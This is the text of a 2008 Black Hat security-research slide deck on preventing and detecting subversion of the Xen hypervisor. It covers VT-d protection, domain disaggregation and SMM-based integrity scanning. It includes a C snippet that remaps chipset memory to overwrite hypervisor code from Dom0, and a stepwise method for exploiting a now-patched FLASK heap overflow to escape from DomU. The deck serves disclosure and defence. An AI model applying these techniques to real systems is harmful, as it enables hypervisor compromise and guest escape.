Preventing and Detecting Xen Hypervisor Subversions

Joanna Rutkowska & Rafał Wojtczuk
Invisible Things Lab

Black Hat USA 2008, August 7th, Las Vegas, NV
Xen Owning Trilogy
Part Two
Previously on Xen 0wning Trilogy...
Part 1: “Subverting the Xen Hypervisor”
by Rafal Wojtczuk (Invisible Things Lab)

- Hypervisor attacks via DMA
  - TG3 network card “manual” attack
  - Generic attack using disk controller
- “Xen Loadable Modules” framework :)
- Hypervisor backdooring
  - “DR” backdoor
  - “Foreign” backdoor
Now, in this part...
Protecting the (Xen) hypervisor

... and how the protection fails

Checking (Xen) hypervisor integrity

... and challenges with integrity scanning
Dealing with DMA attacks
I/O: asks the device to setup a DMA transfer

Read/Write memory access!
Xen and VT-d
Hardware

malicious DMA
blocked!

ring 0

(Trusted) Hypervisor

ring 3 (x86_64)
ring 1 (x86)

OS

IOMMU/VT-d

ring3/ring0 separation
static int intel_iommu_domain_init(struct domain *d)
{
    /.../
    if ( d->domain_id == 0 )
    {
        extern int xen_in_range(paddr_t start, paddr_t end);
        extern int tboot_in_range(paddr_t start, paddr_t end);

        /*
         * Set up 1:1 page table for dom0 except the critical segments
         * like Xen and tboot.
         */
        for ( i = 0; i < max_page; i++ )
        {
            if ( xen_in_range(i << PAGE_SHIFT_4K, (i + 1) << PAGE_SHIFT_4K) ||
                 tboot_in_range(i << PAGE_SHIFT_4K, (i + 1) << PAGE_SHIFT_4K) )
                continue;

            iommu_map_page(d, i, i);
        }

        setup_dom0_devices(d);
        setup_dom0_rmrr(d);

        iommu_flush_all();
        /.../
    }
    return 0;
}
Rafal’s DMA attack (speech #1) will not work on Xen 3.3 running on Q35 chipset!
Intel DQ35JO motherboard: First IOMMU for desktops! (available in shops since around October 2007)

- Intel Core 2 Duo/Quad
- Up to 8GB RAM
- TPM 1.2
- Q35 Express chipset
- VT-d (IOMMU)
System hangs (VT-d prevented the attack)
So, how to get around?
So, how to get around?

- Break ring3/ring0 separation?
- Break VT-d protection?
None of them! :)

5 DRAM Controller Registers (D0:F0)

5.1 DRAM Controller (D0:F0)

The DRAM Controller registers are in Device 0 (D0), Function 0 (F0).

Warning: Address locations that are not listed are considered Intel Reserved registers locations. Reads to Reserved registers may return non-zero values. Writes to reserved locations may cause system failures.

All registers that are defined in the PCI 2.3 specification, but are not necessary or implemented in this component are simply not included in this document. The reserved/unimplemented space in the PCI configuration header space is not documented as such in this summary.

Table 5-1. DRAM Controller Register Address Map (D0:F0)

<table>
<thead>
<tr>
<th>Address Offset</th>
<th>Register Symbol</th>
<th>Register Name</th>
<th>Default Value</th>
<th>Access</th>
</tr>
</thead>
<tbody>
<tr>
<td>00–01h</td>
<td>VID</td>
<td>Vendor Identification</td>
<td>8086h</td>
<td>RO</td>
</tr>
<tr>
<td>02–03h</td>
<td>DID</td>
<td>Device Identification</td>
<td>29C0h</td>
<td>RO</td>
</tr>
<tr>
<td>04–05h</td>
<td>PCICMD</td>
<td>PCI Command</td>
<td>0006h</td>
<td>RO, RW</td>
</tr>
<tr>
<td>06–07h</td>
<td>PCISTS</td>
<td>PCI Status</td>
<td>0090h</td>
<td>RWC, RO</td>
</tr>
<tr>
<td>08h</td>
<td>RID</td>
<td>Revision Identification</td>
<td>00h</td>
<td>RO</td>
</tr>
<tr>
<td>09–0Bh</td>
<td>CC</td>
<td>Class Code</td>
<td>060000h</td>
<td>RO</td>
</tr>
<tr>
<td>0Dh</td>
<td>MLT</td>
<td>Master Latency Timer</td>
<td>00h</td>
<td>RO</td>
</tr>
<tr>
<td>0Eh</td>
<td>HDR</td>
<td>Header Type</td>
<td>00h</td>
<td>RO</td>
</tr>
<tr>
<td>02–03h</td>
<td>SVID</td>
<td>Subsystem Vendor Identification</td>
<td>0000h</td>
<td>RWO</td>
</tr>
<tr>
<td>02–03h</td>
<td>SID</td>
<td>Subsystem Identification</td>
<td>0000h</td>
<td>RWO</td>
</tr>
<tr>
<td>34h</td>
<td>CAPPTR</td>
<td>Capabilities Pointer</td>
<td>00h</td>
<td>RO</td>
</tr>
<tr>
<td>40–47h</td>
<td>PXPEPBAR</td>
<td>PCI Express Port Base Address</td>
<td>0000000000</td>
<td>RW/L</td>
</tr>
<tr>
<td>48–4Fh</td>
<td>MCHBAR</td>
<td>(G)MCH Memory Mapped Register Range Base</td>
<td>0000000000</td>
<td>RW/L</td>
</tr>
<tr>
<td>52–53h</td>
<td>GGC</td>
<td>GMCH Graphics Control Register</td>
<td>0030h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>54–57h</td>
<td>DEVEN</td>
<td>Device Enable</td>
<td>000003DBh</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>60–67h</td>
<td>PCIXBAR</td>
<td>PCI Express Register Range Base Address</td>
<td>000000000E</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>68–6Fh</td>
<td>DMIBAR</td>
<td>Root Complex Register Range Base Address</td>
<td>0000000000</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>90h</td>
<td>PAM0</td>
<td>Programmable Attribute Map 0</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>91h</td>
<td>PAM1</td>
<td>Programmable Attribute Map 1</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>92h</td>
<td>PAM2</td>
<td>Programmable Attribute Map 2</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>93h</td>
<td>PAM3</td>
<td>Programmable Attribute Map 3</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>94h</td>
<td>PAM4</td>
<td>Programmable Attribute Map 4</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>95h</td>
<td>PAM5</td>
<td>Programmable Attribute Map 5</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>96h</td>
<td>PAM6</td>
<td>Programmable Attribute Map 6</td>
<td>00h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>97h</td>
<td>LAC</td>
<td>Logical Access Control</td>
<td>00h</td>
<td>RW/L, RO, RW</td>
</tr>
<tr>
<td>68–6Fh</td>
<td>ESMRMC</td>
<td>Extended System Management RAM Control</td>
<td>02h</td>
<td>RO, RW/L, RW, RW/L/K</td>
</tr>
<tr>
<td>90h</td>
<td>REMAPBASE</td>
<td>Remap Base Address Register</td>
<td>03Ffh</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>9A–9Bh</td>
<td>REMAPLIMIT</td>
<td>Remap Limit Address Register</td>
<td>0000h</td>
<td>RO, RW/L</td>
</tr>
<tr>
<td>9Dh</td>
<td>SMRAM</td>
<td>System Management RAM Control</td>
<td>02h</td>
<td>RO, RW/L, RW, RW/L/K</td>
</tr>
<tr>
<td>9Eh</td>
<td>ESMRAMC</td>
<td>Extended System Management RAM Control</td>
<td>38h</td>
<td>RW/L, RW, RW/L/K</td>
</tr>
<tr>
<td>A0–A1h</td>
<td>TOUUD</td>
<td>Top of Upper Usable Dram</td>
<td>0000h</td>
<td>RW/L</td>
</tr>
<tr>
<td>A4–A7h</td>
<td>BGSM</td>
<td>Graphics Base of Stolen Memory</td>
<td>00000000h</td>
<td>RW/L, RO</td>
</tr>
<tr>
<td>A8–A9h</td>
<td>BGSIM</td>
<td>Base of GTT Stolen Memory</td>
<td>00000000h</td>
<td>RW/L, RO</td>
</tr>
<tr>
<td>AC–AFh</td>
<td>TSEGMB</td>
<td>TSEG Memory Base</td>
<td>00000000h</td>
<td>RW/L, RO</td>
</tr>
<tr>
<td>B0–B1h</td>
<td>TOLUD</td>
<td>Top of Low Usable DRAM</td>
<td>0010h</td>
<td>RW/L, RO</td>
</tr>
<tr>
<td>C8–C9h</td>
<td>ERSSTS</td>
<td>Error Status</td>
<td>0000h</td>
<td>RO, RW/C/S</td>
</tr>
<tr>
<td>CA–CBh</td>
<td>ERRCMD</td>
<td>Error Command</td>
<td>0000h</td>
<td>RO, RW</td>
</tr>
<tr>
<td>CC–CDh</td>
<td>SMI</td>
<td>SMI Command</td>
<td>0000h</td>
<td>RO, RW</td>
</tr>
<tr>
<td>DC–DFh</td>
<td>SKPD</td>
<td>Scratchpad Data</td>
<td>00000000h</td>
<td>RW</td>
</tr>
<tr>
<td>E0–EAh</td>
<td>CAPID0</td>
<td>Capability Identifier</td>
<td>0000010800</td>
<td>RO</td>
</tr>
</tbody>
</table>

REMAPBASE: 0x98 (D:0, F:0)
REMAPLIMIT: 0x9A (D:0, F:0)
TOLUD: 0x9B0 (D:0, F:0)
Memory Reclaiming
This DRAM now accessible from CPU at physical addresses: 
<REMAPBASE, REMAPLIMIT>
Otherwise would be wasted!
Applying this to Xen...
Now, we can access the hypervisor at those physical addresses (and they are not protected!)
#define DO_NI_HYPERCALL_PA 0x7c10bd20

u64 target_phys_area = DO_NI_HYPERCALL_PA & ~(0x10000-1);
new_remap_base = 0x40;
new_remap_limit = 0x60;

reclaim_base = (u64)new_remap_base << 26;
reclaim_limit = ((u64)new_remap_limit << 26) + 0x3fffffff;
reclaim_sz = reclaim_limit - reclaim_base;
reclaim_mapped_to = 0xffffffff - reclaim_sz;
reclaim_off = target_phys_area - reclaim_mapped_to;
policy_write_word (dev, TOUUD_OFFSET, (new_remap_limit+1)<<6);
policy_write_word (dev, REMAP_BASE_OFFSET, new_remap_base);
policy_write_word (dev, REMAP_LIMIT_OFFSET, new_remap_limit);

fdmem = open ("/dev/mem", O_RDWR);
memmap = mmap (... , fdmem, reclaim_base + reclaim_off);
for (i = 0; i < sizeof (jmp_rdi_code); i++)
    *((unsigned char*)memmap + target_phys_area_off + i) =
jmp_rdi_code[i];

munmap (memmap, BUF_SIZE);
close (fdmem);
Demo: modifying Xen 3.3 hypervisor from Dom0
This attack is not limited to Q35 chipsets only!
This attack can also be used to modify SMM handler on the fly, without reboot!
So, whose fault it is?
Xen’s fault?

- Allowing Dom0/Driver domains to access some chipset registers *might* be needed for some reasons... (Really?)

- But Xen cannot know everything about the chipset registers and features!
Chipset’s fault?

• Maybe chipset should do some basic validation before remapping...

• E.g.: ensure the remapping only applies to the <TOLUD, 4GB> window. And makeTOLUD is lockable.

• But...
BIOS’s fault?

- But Q35 provides a locking mechanism (SM_lock) that is supposed to lock down the remapping registers,

- Intel told us that using this lock mechanism is recommended in the Intel’s BIOS Specification (*)

- So, this seems to be the BIOS Writer’s fault in the end...

(*)This document is available only to Intel partners (i.e. BIOS vendors).
Related attacks

• Loic Duflot (2006) - jump to SMM and then to kernel from there (against OpenBSD securelevel). Now prevented by most BIOSes (thanks to the D_LCK bit set).

• Sun Bing (2007) - exploit TOP_SWAP feature of some Intel chipsets to load malicious code before the BIOS locks the SMM and get your code into SMM. But this requires reboot. Now prevented by BIOSes setting the BILD lock.
Lesson: protecting hypervisor memory is hard!
“Domain 0” Disaggregation
Driver domains
IOMMU/VT-d needed for delegating drivers to other domains (otherwise we can use DMA attacks from DomU)
Advantage: compromise of a driver != Dom0 access
Stub domains
Hypervisor

HVM (e.g. XP)

Dom0

Usermode process that runs as root in Dom0 (Device Virtualization Model)
Hypervisor

IN/OUT

HVM (e.g. XP)

“stub” domain

Dom0

qemu

Now: qemu compromises ≠ Dom0 compromise
PyGRUB vs. PVGRUB
Hypervisor

PV domain

PyGRUB

Dom0

PV image

Runs in Dom0 with root privileges and process the PV domain image (untrusted)
Xen vs. competition?
<table>
<thead>
<tr>
<th>Feature</th>
<th>Xen 3.3</th>
<th>Hyper-V (**)</th>
<th>ESX</th>
</tr>
</thead>
<tbody>
<tr>
<td>IOMMU/VT-d support?</td>
<td>Yes</td>
<td>No</td>
<td>?</td>
</tr>
<tr>
<td>Hypervisor protected from the Admin Domain (including DMA attacks)?</td>
<td>Yes</td>
<td>No</td>
<td>?</td>
</tr>
<tr>
<td>Driver domains?</td>
<td>Yes</td>
<td>No</td>
<td>No?</td>
</tr>
<tr>
<td>(drivers in unprivileged domain)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>(drivers in the root domain)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>I/O Emulator placement? (Device Virtualization)</td>
<td>Unprivileged Domain (“stub domains”)</td>
<td>Unprivileged process (vmwp.exe running as NETWORK_SERVICE in the root domain)</td>
<td>?</td>
</tr>
<tr>
<td>Trusted Boot support? (DRTM/SRTM)</td>
<td>Yes</td>
<td>No</td>
<td>?</td>
</tr>
<tr>
<td>Xen tboot: DRTM via Intel TXT</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

(*) based on the VMWare’s presentation by Oded Horovitz at CanSecWest, March 2008 (slide #3)
(**) based on the information provided by Brandon Baker (Microsoft) via email, July 2008
Ok, so does it really work?
Yes! No doubt it’s a way to go!
Xen is well done!
but...
Overflows in hypervisor :o
So far, not a single overflow in Xen 3 hypervisor found!
... until Rafal looked at it :)
The FLASK bug
What is FLASK?
FLASK

- One of the implementation of XSM
- XSM = Xen Security Modules
- XSM is supposed to fine grain control over security decisions
- XSM based on LSM (Linux Security Modules)
FLASK is not compiled in by default into XEN

```
# Enable XSM security module. Enabling XSM requires selection of an
# XSM security module (FLASK_ENABLE or ACM_SECURITY).
XSM_ENABLE ?= n
FLASK_ENABLE ?= n
ACM_SECURITY ?= n
```
Ok, so where are the bugs?
static int flask_security_user(char *buf, int size)
{
    char *page = NULL;
    char *con, *user, *ptr;
    u32 sid, *sids;
    int length;
    char *newcon;
    int i, rc;
    u32 len, nsids;

    length = domain_has_security(current->domain, SECURITY__COMPUTE_USER);
    if (length)
      return length;

    length = -ENOMEM;
    con = xmalloc_array(char, size+1);
    if (!con)
      return length;
    memset(con, 0, size+1);

    user = xmalloc_array(char, size+1);
    if (!user)
      goto out;
    memset(user, 0, size+1);

    length = -ENOMEM;
    page = xmalloc_bytes(PAGE_SIZE);
    if (!page)
      goto out2;
    memset(page, 0, PAGE_SIZE);

    length = -EFAULT;
    if (copy_from_user(page, buf, size))
      goto out2;

    length = -EINVAL;
    if (sscanf(page, "%s %s", con, user) != 2)
      goto out2;

    length = security_context_to_sid(con, strlen(con)+1, &sid);
    if (length < 0)
      goto out2;

    return length;
}

passed as hypercall arguments

page buffer is always 4096 bytes big!
static int flask_security_relabel(char *buf, int size)
{
    char *scon, *tcon;
    u32 ssid, tsid, newsid;
    u16 tclass;
    int length;
    char *newcon;
    u32 len;

    length = domain_has_security(current->domain, SECURITY_COMPUTE_RELABEL);
    if ( length )
        return length;

    length = -ENOMEM;
    scon = xmalloc_array(char, size+1);
    if (!scon )
        return length;
    memset(scon, 0, size+1);

    tcon = xmalloc_array(char, size+1);
    if (!tcon )
        goto out;
    memset(tcon, 0, size+1);

    length = -EINVAL;
    if ( sscanf(buf, "%s %s %hu", scon, tcon, &tclass) != 3 )
        goto out2;

    length = security_context_to_sid(scon, strlen(scon)+1, &ssid);
    if ( length < 0 )
        goto out2;
    length = security_context_to_sid(tcon, strlen(tcon)+1, &tsid);
    if ( length < 0 )
        goto out2;
    length = security_change_sid(ssid, tsid, tclass, &newsid);
    if ( length < 0 )
        goto out2;
    length = security_sid_to_context(newsid, &newcon, &len);
    if ( length < 0 )
        goto out2;
So, how do we exploit it?
struct xmalloc_hdr
{
    size_t size;
    struct list_head freelist;
} __cacheline_aligned;

struct list_head { 
    struct list_head *next, *prev; 
};
Step 1: flask_user (buf, 8192)
We set: $\text{buf}[8192-\text{hdr}_sz]=999$

Then $\text{buf}$ overwrites $\text{page}$...

... and user hdr’s size field gets a new value!

After freeing $\text{buf}$ $\text{xmalloc}$ will put it on a list of small free chunks and use for the next allocation of a small chunk!

‘999’ is a cosmic constant that satisfies the requirement:

\[
\text{sizeof (struct xenoprof)} < 999 < 4096
\]

“Small” chunks: chunks for buffers that are less than 4096 bytes
Step 2: flask_relabel (buf, 8192)
some pointers that are later nullified by xenoprof_reset_buf()...

... so if we write \texttt{addr} there, then...

we will get \texttt{(long) 0} written at \texttt{addr} :)
Step 3: freeing xenoprof buffer
xenoprof_enable_virq();
What we got?
A write-zero-to-arbitrary-address primitive
What to overwrite with zero?
How about the upper half of some hypercall address?
This way we will redirect it to usermode!
Demo: Escape from DomU using the FLASK bug
unsigned int csval = 0;
asm("movl %%cs, %0\n" : =r'(csval));
xen_printf("Hello from domain %d, code running with cs=%x\n",
        current->domain->domain_id, csval);
xen_printf("All your hypervisor are belong to us !\n");
return 0xaaabbc;
The bug has been patched on July 21st, 2008:

changeset: 18096:fa66b33f975a
user: Keir Fraser <keir.fraser@citrix.com>
date: Mon Jul 21 09:41:36 2008 +0100
summary: [XSM][FLASK] Argument handling bugs in XSM:FLASK

BTW, note the lack of the “security” word in the patch description ;)
No Planet Owning!
Can we get rid of all bugs in the hypervisor?
Xen hypervisor complexity
Lines-of-Code in Xen 3 hypervisors in ring 0 (*)

Xen 3.0.4
Xen 3.1.4
Xen 3.2.1
Xen 3.3-unstable(**)

*Calculated using: find xen/ -name "*.chss" -print0 | xargs -0 cat | wc -l
**Retrieved from the Xen unstable mercurial on July 24th, 2008
Trend a bit disturbing...

Xen hypervisor grows over time, instead of shrinking :(
Lines-of-Code: Xen 3.3 vs. Hyper-V

(*) based on the information provided by Brandon Baker (Microsoft) via email, July 2008
Lessons learnt
• Hypervisors are not special!
• Hypervisor can be compromised too!
• Computer systems are complex!
• Prevention is not enough!
Prevention not enough!
Ensuring Hypervisor Integrity
Integrity Scanning
Integrity Scanning

- Ensure the hypervisor’s code & data are intact
- Ensure no untrusted code in hypervisor
Code is easy to verify...
... but data is not!
Executable page with untrusted code
Ensuring no untrusted code in the hypervisor
1. Read hypervisor’s CR3

2. Parse Page Tables and find all pages that are marked as *executable* and *supervisor* in their PTEs

3. Verify the hashes of those code pages remain the same as during the initialization phase

4. Also: ensure some system wide registers were not modified (CR4, CR0, etc)
To make it work...
• Hypervisor must strictly apply the NX bit (only code pages do not have NX bit set)
• No self-modifying code in the hypervisor
• Hypervisor’s code not pageable
Xen hypervisor can meet those requirements with just few cosmetic workarounds

Hyper-V already meets all those requirements!
(Brandon Baker, Microsoft)
... but, there are traps!
Trap #1
Rootkit might keep its code in the usermode pages - CPU would still execute them from ring0...
CPU should refuse to execute code from usermode pages when running in ring0

Marketing name: “NX+” or “XD+” :)

Talks with Intel in progress...
Trap #2
Code-less backdoors!
‘jmp rdi’ or more advanced ret-into-libc stuff (don’t think ret-into-libc not possible on x64!)

Anybody who can issue INT XX can now get their code executed in ring0 in the hypervisor!
There only few structures (function pointers) that could be used to plant such backdoor!

This is few comparing with lots of if we were to check all possible function pointers

Examples for Xen: IDT, hypercall_table, exception_table
Hypervisor should provide a sanity function that would be part of the code (static path) that would check those few structures.

HyperGuard doesn’t need to know about those few structures.
Trap #3
We only check integrity at the very moment...
when we check integrity...
What happens in between?
When should we do the checks?
Solution?

Oh, come on, we need to leave a few aces up in our sleeves ;)
Introducing HyperGuard...
HyperGuard is a project done in cooperation with Phoenix Technologies
Why in SMM?
<table>
<thead>
<tr>
<th></th>
<th>SMM handler</th>
<th>PCI device</th>
<th>Chipset</th>
</tr>
</thead>
<tbody>
<tr>
<td>tamper proof?</td>
<td>should be :) (depends very much on the BIOS -- see the Q35 bug)</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>access to CPU state</td>
<td>yes</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td></td>
<td>(e.g. registers)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>reliable access to DRAM</td>
<td>yes</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td></td>
<td>(e.g. IOMMU, other redirecting tricks)</td>
<td>(can deal with IOMMU)</td>
<td></td>
</tr>
</tbody>
</table>
Combining chipset-based scanner (see Yuriy Bulygin’s presentation) with SMM-based scanner seems like a good mixture...
CHIPSET BASED APPROACH TO DETECT VIRTUALIZATION MALWARE
a.k.a. DeepWatch

Yuriy Bulygin
Joint work with David Samyde
Security Center of Excellence / PSIRT @ Intel Corporation
Combining SMM + chipset integrity scanning
<table>
<thead>
<tr>
<th></th>
<th>SMM handler</th>
<th>PCI device</th>
<th>Chipset</th>
<th>SMM + chipset</th>
</tr>
</thead>
<tbody>
<tr>
<td>tamper proof?</td>
<td>should be :)</td>
<td>yes</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>access to CPU state</td>
<td>yes</td>
<td>no</td>
<td>no</td>
<td>yes</td>
</tr>
<tr>
<td>(e.g. registers)</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>reliable access to</td>
<td>yes</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>DRAM</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Additionally chipset could provide fast hash calculation service to the HyperGuard
But we should keep the chipset based scanner as simple as possible!

The deeper we are the simpler we are!
Talks with Intel in progress...
HyperGuard might also be used in the future to verify integrity of normal OS kernels (e.g. Windows or Linux)
Slides available at:
http://invisiblethingslab.com/bh08

Demos and code will be available from the same address after Intel releases the patch.
Credits

• Brandon Baker (Microsoft), for providing lots of information about Hyper-V (that we haven’t played with ourselves yet)
Thank you!

Xen 0wning Trilogy to be continued in:

“Bluepilling The Xen Hypervisor”
by Invisible Things Lab